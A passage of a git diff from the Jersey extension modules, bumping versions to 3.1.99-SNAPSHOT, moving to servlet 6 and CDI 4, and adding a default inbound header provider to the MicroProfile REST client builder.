@@ -1,6 +1,6 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2021, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -21,7 +21,7 @@ <parent> <artifactId>project</artifactId> <groupId>org.glassfish.jersey.ext.cdi</groupId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <modelVersion>4.0.0</modelVersion> @@ -48,7 +48,7 @@ <dependency> <groupId>jakarta.servlet</groupId> <artifactId>jakarta.servlet-api</artifactId> - <version>${servlet5.version}</version> + <version>${servlet6.version}</version> <scope>provided</scope> <optional>true</optional> </dependency> @@ -73,7 +73,7 @@ <instructions> <Import-Package> ${cdi.osgi.version}, - jakarta.servlet.*;version="[5.0, 7.0)";resolution:=optional, + jakarta.servlet.*;version="[6.0, 7.0)";resolution:=optional, * </Import-Package> </instructions>
diff --git a/ext/cdi/jersey-cdi1x-ban-custom-hk2-binding/pom.xml b/ext/cdi/jersey-cdi1x-ban-custom-hk2-binding/pom.xml index 7e22ff6..c28de3c 100644 --- a/ext/cdi/jersey-cdi1x-ban-custom-hk2-binding/pom.xml +++ b/ext/cdi/jersey-cdi1x-ban-custom-hk2-binding/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.ext.cdi</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-cdi1x-ban-custom-hk2-binding</artifactId>
diff --git a/ext/cdi/jersey-cdi1x-servlet/pom.xml b/ext/cdi/jersey-cdi1x-servlet/pom.xml index 0301b3b..3d90bed 100644 --- a/ext/cdi/jersey-cdi1x-servlet/pom.xml +++ b/ext/cdi/jersey-cdi1x-servlet/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.ext.cdi</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-cdi1x-servlet</artifactId> @@ -88,6 +88,7 @@ <Export-Package>org.glassfish.jersey.ext.cdi1x.servlet.internal</Export-Package> <Import-Package> ${cdi.osgi.version}, + jakarta.decorator.*;version="[3.0,5)", * </Import-Package> </instructions>
diff --git a/ext/cdi/jersey-cdi1x-servlet/src/main/java/org/glassfish/jersey/ext/cdi1x/servlet/internal/CdiExternalRequestScopeExtension.java b/ext/cdi/jersey-cdi1x-servlet/src/main/java/org/glassfish/jersey/ext/cdi1x/servlet/internal/CdiExternalRequestScopeExtension.java index 3a17677..ce367f5 100644 --- a/ext/cdi/jersey-cdi1x-servlet/src/main/java/org/glassfish/jersey/ext/cdi1x/servlet/internal/CdiExternalRequestScopeExtension.java +++ b/ext/cdi/jersey-cdi1x-servlet/src/main/java/org/glassfish/jersey/ext/cdi1x/servlet/internal/CdiExternalRequestScopeExtension.java
@@ -124,7 +124,7 @@ return false; } - @Override + // @Override - Removed in CDI 4 public boolean isNullable() { return false; }
diff --git a/ext/cdi/jersey-cdi1x-transaction/pom.xml b/ext/cdi/jersey-cdi1x-transaction/pom.xml index fad4a61..e2fdcfc 100644 --- a/ext/cdi/jersey-cdi1x-transaction/pom.xml +++ b/ext/cdi/jersey-cdi1x-transaction/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.ext.cdi</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-cdi1x-transaction</artifactId> @@ -37,7 +37,7 @@ <dependency> <groupId>jakarta.platform</groupId> <artifactId>jakarta.jakartaee-api</artifactId> - <version>9.0.0</version> + <version>9.1.0</version> <scope>provided</scope> </dependency> @@ -94,6 +94,7 @@ <Import-Package> ${jakarta.annotation.osgi.version}, ${cdi.osgi.version}, + jakarta.decorator.*;version="[3.0,5)", * </Import-Package> </instructions>
diff --git a/ext/cdi/jersey-cdi1x-validation/pom.xml b/ext/cdi/jersey-cdi1x-validation/pom.xml index 71f1bf3..a16850a 100644 --- a/ext/cdi/jersey-cdi1x-validation/pom.xml +++ b/ext/cdi/jersey-cdi1x-validation/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.ext.cdi</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-cdi1x-validation</artifactId> @@ -106,6 +106,7 @@ <Import-Package> ${jakarta.annotation.osgi.version}, ${cdi.osgi.version}, + jakarta.decorator.*;version="[3.0,5)", * </Import-Package> </instructions>
diff --git a/ext/cdi/jersey-cdi1x-validation/src/main/java/org/glassfish/jersey/ext/cdi1x/validation/internal/CdiInterceptorWrapperExtension.java b/ext/cdi/jersey-cdi1x-validation/src/main/java/org/glassfish/jersey/ext/cdi1x/validation/internal/CdiInterceptorWrapperExtension.java index 6cced30..875f63c 100644 --- a/ext/cdi/jersey-cdi1x-validation/src/main/java/org/glassfish/jersey/ext/cdi1x/validation/internal/CdiInterceptorWrapperExtension.java +++ b/ext/cdi/jersey-cdi1x-validation/src/main/java/org/glassfish/jersey/ext/cdi1x/validation/internal/CdiInterceptorWrapperExtension.java
@@ -155,7 +155,7 @@ return false; } - @Override + // @Override - Removed in CDI 4 public boolean isNullable() { return false; }
diff --git a/ext/cdi/jersey-cdi1x/pom.xml b/ext/cdi/jersey-cdi1x/pom.xml index 7ef1fbf..87077c2 100644 --- a/ext/cdi/jersey-cdi1x/pom.xml +++ b/ext/cdi/jersey-cdi1x/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.ext.cdi</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-cdi1x</artifactId> @@ -94,6 +94,7 @@ ${jakarta.annotation.osgi.version}, ${hk2.osgi.version}, ${cdi.osgi.version}, + jakarta.decorator.*;version="[3.0,5)", * </Import-Package> </instructions>
diff --git a/ext/cdi/jersey-cdi1x/src/main/java/org/glassfish/jersey/ext/cdi1x/internal/CdiComponentProvider.java b/ext/cdi/jersey-cdi1x/src/main/java/org/glassfish/jersey/ext/cdi1x/internal/CdiComponentProvider.java index 6376f93..a47aced 100644 --- a/ext/cdi/jersey-cdi1x/src/main/java/org/glassfish/jersey/ext/cdi1x/internal/CdiComponentProvider.java +++ b/ext/cdi/jersey-cdi1x/src/main/java/org/glassfish/jersey/ext/cdi1x/internal/CdiComponentProvider.java
@@ -726,7 +726,7 @@ return Collections.emptySet(); } - @Override + // @Override - Removed in CDI 4 public boolean isNullable() { return true; }
diff --git a/ext/cdi/jersey-weld2-se/pom.xml b/ext/cdi/jersey-weld2-se/pom.xml index 9790e01..3d5a71b 100644 --- a/ext/cdi/jersey-weld2-se/pom.xml +++ b/ext/cdi/jersey-weld2-se/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.ext.cdi</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-weld2-se</artifactId> @@ -66,6 +66,14 @@ <groupId>jakarta.inject</groupId> <artifactId>jakarta.inject-api</artifactId> </exclusion> + <exclusion> + <groupId>jakarta.el</groupId> + <artifactId>jakarta.el-api</artifactId> + </exclusion> + <exclusion> + <groupId>jakarta.annotation</groupId> + <artifactId>jakarta.annotation-api</artifactId> + </exclusion> </exclusions> </dependency> </dependencies>
diff --git a/ext/cdi/pom.xml b/ext/cdi/pom.xml index 0af9140..d73f38d 100644 --- a/ext/cdi/pom.xml +++ b/ext/cdi/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.ext</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <groupId>org.glassfish.jersey.ext.cdi</groupId>
diff --git a/ext/entity-filtering/pom.xml b/ext/entity-filtering/pom.xml index 0eae91b..ffaa314 100644 --- a/ext/entity-filtering/pom.xml +++ b/ext/entity-filtering/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0"?> <!-- - Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.ext</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-entity-filtering</artifactId>
diff --git a/ext/metainf-services/pom.xml b/ext/metainf-services/pom.xml index 411dbb3..ba18f8f 100644 --- a/ext/metainf-services/pom.xml +++ b/ext/metainf-services/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0"?> <!-- - Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.ext</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-metainf-services</artifactId>
diff --git a/ext/micrometer/pom.xml b/ext/micrometer/pom.xml index 3980e2e..2c815f2 100644 --- a/ext/micrometer/pom.xml +++ b/ext/micrometer/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2023, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <artifactId>project</artifactId> <groupId>org.glassfish.jersey.ext</groupId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <modelVersion>4.0.0</modelVersion>
diff --git a/ext/microprofile/mp-config/pom.xml b/ext/microprofile/mp-config/pom.xml index bbe540d..11dce7b 100644 --- a/ext/microprofile/mp-config/pom.xml +++ b/ext/microprofile/mp-config/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2019, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2019, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <artifactId>project</artifactId> <groupId>org.glassfish.jersey.ext.microprofile</groupId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <modelVersion>4.0.0</modelVersion> @@ -95,7 +95,7 @@ <profile> <id>JettyExclude</id> <activation> - <jdk>1.8</jdk> + <jdk>[11,17)</jdk> </activation> <build> <plugins> @@ -112,9 +112,9 @@ </build> </profile> <profile> - <id>Jetty11</id> + <id>Jetty17</id> <activation> - <jdk>[11,)</jdk> + <jdk>[17,)</jdk> </activation> <dependencies> <dependency>
diff --git a/ext/microprofile/mp-rest-client/pom.xml b/ext/microprofile/mp-rest-client/pom.xml index bd5463d..3691b6b 100644 --- a/ext/microprofile/mp-rest-client/pom.xml +++ b/ext/microprofile/mp-rest-client/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2019, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2019, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -22,7 +22,7 @@ <parent> <artifactId>project</artifactId> <groupId>org.glassfish.jersey.ext.microprofile</groupId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <modelVersion>4.0.0</modelVersion> @@ -119,7 +119,6 @@ <Import-Package> ${cdi.osgi.version}, jakarta.decorator.*;version="[3.0,5)", - org.eclipse.microprofile.rest.client.*;version="[3.0,4)", org.eclipse.microprofile.config.*;version="!", * </Import-Package> @@ -130,4 +129,4 @@ </plugins> </build> -</project> \ No newline at end of file +</project>
diff --git a/ext/microprofile/mp-rest-client/src/main/java/org/glassfish/jersey/microprofile/restclient/MethodModel.java b/ext/microprofile/mp-rest-client/src/main/java/org/glassfish/jersey/microprofile/restclient/MethodModel.java index 9f8ebd1..08eaf0a 100644 --- a/ext/microprofile/mp-rest-client/src/main/java/org/glassfish/jersey/microprofile/restclient/MethodModel.java +++ b/ext/microprofile/mp-rest-client/src/main/java/org/glassfish/jersey/microprofile/restclient/MethodModel.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2019, 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2019, 2025 Oracle and/or its affiliates. All rights reserved. * Copyright (c) 2019 Payara Foundation and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the @@ -379,6 +379,11 @@ if (!headersContext.isPresent()) { for (InboundHeadersProvider provider : interfaceModel.context().inboundHeadersProviders()) { inbound.putAll(provider.inboundHeaders()); + if (RestClientBuilderImpl.DefaultInboundHeaderProvider.class.isInstance(provider)) { + MultivaluedMap<String, String> fromFactory = + ((ClientHeadersFactory) provider).update(inbound, customHeaders); + customHeaders.putAll(fromFactory); + } } }
diff --git a/ext/microprofile/mp-rest-client/src/main/java/org/glassfish/jersey/microprofile/restclient/RestClientBuilderImpl.java b/ext/microprofile/mp-rest-client/src/main/java/org/glassfish/jersey/microprofile/restclient/RestClientBuilderImpl.java index 2b7425f..687d228 100644 --- a/ext/microprofile/mp-rest-client/src/main/java/org/glassfish/jersey/microprofile/restclient/RestClientBuilderImpl.java +++ b/ext/microprofile/mp-rest-client/src/main/java/org/glassfish/jersey/microprofile/restclient/RestClientBuilderImpl.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2019, 2024 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2019, 2025 Oracle and/or its affiliates. All rights reserved. * Copyright (c) 2019, 2021 Payara Foundation and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the @@ -47,8 +47,11 @@ import jakarta.ws.rs.core.Configuration; import jakarta.ws.rs.core.Feature; import jakarta.ws.rs.core.FeatureContext; +import jakarta.ws.rs.core.MultivaluedHashMap; +import jakarta.ws.rs.core.MultivaluedMap; import jakarta.ws.rs.ext.ParamConverterProvider; +import jakarta.ws.rs.ext.RuntimeDelegate; import org.eclipse.microprofile.config.Config; import org.eclipse.microprofile.config.ConfigProvider; import org.eclipse.microprofile.rest.client.RestClientBuilder; @@ -56,6 +59,7 @@ import org.eclipse.microprofile.rest.client.annotation.RegisterProvider; import org.eclipse.microprofile.rest.client.ext.AsyncInvocationInterceptor; import org.eclipse.microprofile.rest.client.ext.AsyncInvocationInterceptorFactory; +import org.eclipse.microprofile.rest.client.ext.ClientHeadersFactory; import org.eclipse.microprofile.rest.client.ext.QueryParamStyle; import org.eclipse.microprofile.rest.client.ext.ResponseExceptionMapper; import org.eclipse.microprofile.rest.client.spi.RestClientListener; @@ -66,10 +70,12 @@ import org.glassfish.jersey.client.spi.ConnectorProvider; import org.glassfish.jersey.ext.cdi1x.internal.CdiUtil; import org.glassfish.jersey.innate.VirtualThreadUtil; +import org.glassfish.jersey.internal.RuntimeDelegateDecorator; import org.glassfish.jersey.internal.ServiceFinder; import org.glassfish.jersey.internal.inject.InjectionManager; import org.glassfish.jersey.internal.inject.InjectionManagerSupplier; import org.glassfish.jersey.internal.util.ReflectionHelper; +import org.glassfish.jersey.message.internal.HeaderUtils; import org.glassfish.jersey.uri.JerseyQueryParamStyle; /** @@ -92,6 +98,7 @@ private final List<AsyncInvocationInterceptorFactoryPriorityWrapper> asyncInterceptorFactories; private final Config config; private final ConfigWrapper configWrapper; + private final DefaultInboundHeaderProvider defaultInboundHeaderProvider; private URI uri; private ClientBuilder clientBuilder; private Supplier<ExecutorService> executorService; @@ -112,6 +119,9 @@ config = ConfigProvider.getConfig(); configWrapper = new ConfigWrapper(clientBuilder.getConfiguration()); executorService = () -> VirtualThreadUtil.withConfig(configWrapper).newCachedThreadPool(); + + defaultInboundHeaderProvider = new DefaultInboundHeaderProvider(clientBuilder.getConfiguration()); + inboundHeaderProviders.add(defaultInboundHeaderProvider); } @Override @@ -491,6 +501,11 @@ return this; } + public RestClientBuilder header(String s, Object o) { + defaultInboundHeaderProvider.header(s, o); + return this; + } + private static class InjectionManagerExposer implements Feature { InjectionManager injectionManager; @@ -529,4 +544,34 @@ } } + /* package*/ static class DefaultInboundHeaderProvider implements InboundHeadersProvider, ClientHeadersFactory { + private final RuntimeDelegate delegate; + private final MultivaluedMap<String, String> headers = new MultivaluedHashMap<>(); + + private DefaultInboundHeaderProvider(Configuration configuration) { + this.delegate = RuntimeDelegateDecorator.configured(configuration); + } + + private void header(String key, Object value) { + if (value == null) { + throw new NullPointerException(); + } + headers.add(key, HeaderUtils.asString(value, delegate)); + } + + @Override + public Map<String, List<String>> inboundHeaders() { + return headers; + } + + @Override + public MultivaluedMap<String, String> update(MultivaluedMap<String, String> incomingHeaders, + MultivaluedMap<String, String> clientOutgoingHeaders) { + MultivaluedMap<String, String> map = new MultivaluedHashMap<>(); + map.putAll(incomingHeaders); + clientOutgoingHeaders.forEach((k, v) -> map.addAll(k, v)); + return map; + } + } + } \ No newline at end of file
diff --git a/ext/microprofile/mp-rest-client/src/main/java/org/glassfish/jersey/microprofile/restclient/RestClientProducer.java b/ext/microprofile/mp-rest-client/src/main/java/org/glassfish/jersey/microprofile/restclient/RestClientProducer.java index 48bc397..0dff2b1 100644 --- a/ext/microprofile/mp-rest-client/src/main/java/org/glassfish/jersey/microprofile/restclient/RestClientProducer.java +++ b/ext/microprofile/mp-rest-client/src/main/java/org/glassfish/jersey/microprofile/restclient/RestClientProducer.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2019, 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2019, 2025 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -24,7 +24,7 @@ import java.net.URI; import java.net.URL; import java.nio.file.Files; -import java.nio.file.Paths; +import java.nio.file.Path; import java.security.AccessController; import java.security.KeyStore; import java.security.KeyStoreException; @@ -123,7 +123,7 @@ return Collections.emptySet(); } - @Override + // @Override - Removed in CDI 4 public boolean isNullable() { return false; } @@ -161,6 +161,13 @@ @Override public void destroy(Object instance, CreationalContext<Object> creationalContext) { + if (AutoCloseable.class.isInstance(instance)) { + try { + ((AutoCloseable) instance).close(); + } catch (Exception e) { + throw new IllegalStateException(e); + } + } } @Override @@ -350,7 +357,7 @@ } return result; } else if (location.startsWith(FILE_LOCATION)) { - return Files.newInputStream(Paths.get(URI.create(location))); + return Files.newInputStream(Path.of(URI.create(location))); } else { throw new IllegalStateException("Location of keystore must start with either classpath: or file:, but is: " + location
diff --git a/ext/microprofile/mp-rest-client/src/main/resources/org/glassfish/jersey/microprofile/restclient/internal/localization.properties b/ext/microprofile/mp-rest-client/src/main/resources/org/glassfish/jersey/microprofile/restclient/internal/localization.properties index 3afc639..5a3b074 100644 --- a/ext/microprofile/mp-rest-client/src/main/resources/org/glassfish/jersey/microprofile/restclient/internal/localization.properties +++ b/ext/microprofile/mp-rest-client/src/main/resources/org/glassfish/jersey/microprofile/restclient/internal/localization.properties
@@ -1,5 +1,5 @@ # -# Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2021, 2025 Oracle and/or its affiliates. All rights reserved. # # This program and the accompanying materials are made available under the # terms of the Eclipse Public License v. 2.0, which is available at @@ -16,3 +16,4 @@ err.invalid.proxy.uri=Invalid proxy URI: {0}. err.invalid.proxy.port=Invalid proxy port: {0}. +err.null.header=Header cannot be null.
diff --git a/ext/microprofile/pom.xml b/ext/microprofile/pom.xml index bd69eaf..4928af4 100644 --- a/ext/microprofile/pom.xml +++ b/ext/microprofile/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2020, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2020, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <artifactId>project</artifactId> <groupId>org.glassfish.jersey.ext</groupId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <modelVersion>4.0.0</modelVersion>
diff --git a/ext/mvc-bean-validation/pom.xml b/ext/mvc-bean-validation/pom.xml index 852406b..c207e2e 100644 --- a/ext/mvc-bean-validation/pom.xml +++ b/ext/mvc-bean-validation/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0"?> <!-- - Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.ext</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-mvc-bean-validation</artifactId>
diff --git a/ext/mvc-freemarker/pom.xml b/ext/mvc-freemarker/pom.xml index 5bcdd4f..f35c586 100644 --- a/ext/mvc-freemarker/pom.xml +++ b/ext/mvc-freemarker/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0"?> <!-- - Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.ext</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-mvc-freemarker</artifactId> @@ -42,6 +42,7 @@ <extensions>true</extensions> <configuration> <instructions> + <Import-Package>jakarta.servlet.*;version="[5.0,7.0)",*</Import-Package> <Export-Package>org.glassfish.jersey.server.mvc.freemarker.*;version=${project.version}</Export-Package> </instructions> <unpackBundle>true</unpackBundle> @@ -56,11 +57,9 @@ </build> <dependencies> - <dependency> <groupId>jakarta.servlet</groupId> <artifactId>jakarta.servlet-api</artifactId> - <version>${servlet5.version}</version> <scope>provided</scope> </dependency>
diff --git a/ext/mvc-jsp/pom.xml b/ext/mvc-jsp/pom.xml index dceb4ef..e8fbd55 100644 --- a/ext/mvc-jsp/pom.xml +++ b/ext/mvc-jsp/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0"?> <!-- - Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.ext</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-mvc-jsp</artifactId> @@ -54,7 +54,7 @@ <instructions> <Import-Package> jakarta.servlet.jsp.*;version="[3.0,4.0)", - jakarta.servlet.*;version="!", + jakarta.servlet.*;version="[5.0,7.0)", * </Import-Package> <Export-Package>org.glassfish.jersey.server.mvc.jsp.*;version=${project.version}</Export-Package> @@ -84,7 +84,6 @@ <dependency> <groupId>jakarta.servlet</groupId> <artifactId>jakarta.servlet-api</artifactId> - <version>${servlet5.version}</version> <scope>provided</scope> </dependency> <dependency>
diff --git a/ext/mvc-mustache/pom.xml b/ext/mvc-mustache/pom.xml index e918d84..02187db 100644 --- a/ext/mvc-mustache/pom.xml +++ b/ext/mvc-mustache/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0"?> <!-- - Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.ext</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-mvc-mustache</artifactId>
diff --git a/ext/mvc-thymeleaf/pom.xml b/ext/mvc-thymeleaf/pom.xml index 2f25a73..33837eb 100644 --- a/ext/mvc-thymeleaf/pom.xml +++ b/ext/mvc-thymeleaf/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2024, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -25,7 +25,7 @@ <parent> <artifactId>project</artifactId> <groupId>org.glassfish.jersey.ext</groupId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-mvc-thymeleaf</artifactId> @@ -61,7 +61,7 @@ <dependency> <groupId>jakarta.servlet</groupId> <artifactId>jakarta.servlet-api</artifactId> - <version>${servlet5.version}</version> + <version>${servlet6.version}</version> <scope>provided</scope> </dependency>
diff --git a/ext/mvc/pom.xml b/ext/mvc/pom.xml index 58927c3..767799a 100644 --- a/ext/mvc/pom.xml +++ b/ext/mvc/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0"?> <!-- - Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.ext</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-mvc</artifactId> @@ -37,7 +37,6 @@ <dependency> <groupId>jakarta.servlet</groupId> <artifactId>jakarta.servlet-api</artifactId> - <version>${servlet5.version}</version> </dependency> <dependency> @@ -67,7 +66,7 @@ <configuration> <instructions> <Export-Package>org.glassfish.jersey.server.mvc.*;version=${project.version}</Export-Package> - <Import-Package>${jakarta.annotation.osgi.version},*</Import-Package> + <Import-Package> jakarta.servlet.*;version="[5.0,7.0)",${jakarta.annotation.osgi.version},*</Import-Package> </instructions> <unpackBundle>true</unpackBundle> </configuration>
diff --git a/ext/mvc/src/main/java/org/glassfish/jersey/server/mvc/internal/TemplateHelper.java b/ext/mvc/src/main/java/org/glassfish/jersey/server/mvc/internal/TemplateHelper.java index 4be0e26..27c8df5 100644 --- a/ext/mvc/src/main/java/org/glassfish/jersey/server/mvc/internal/TemplateHelper.java +++ b/ext/mvc/src/main/java/org/glassfish/jersey/server/mvc/internal/TemplateHelper.java
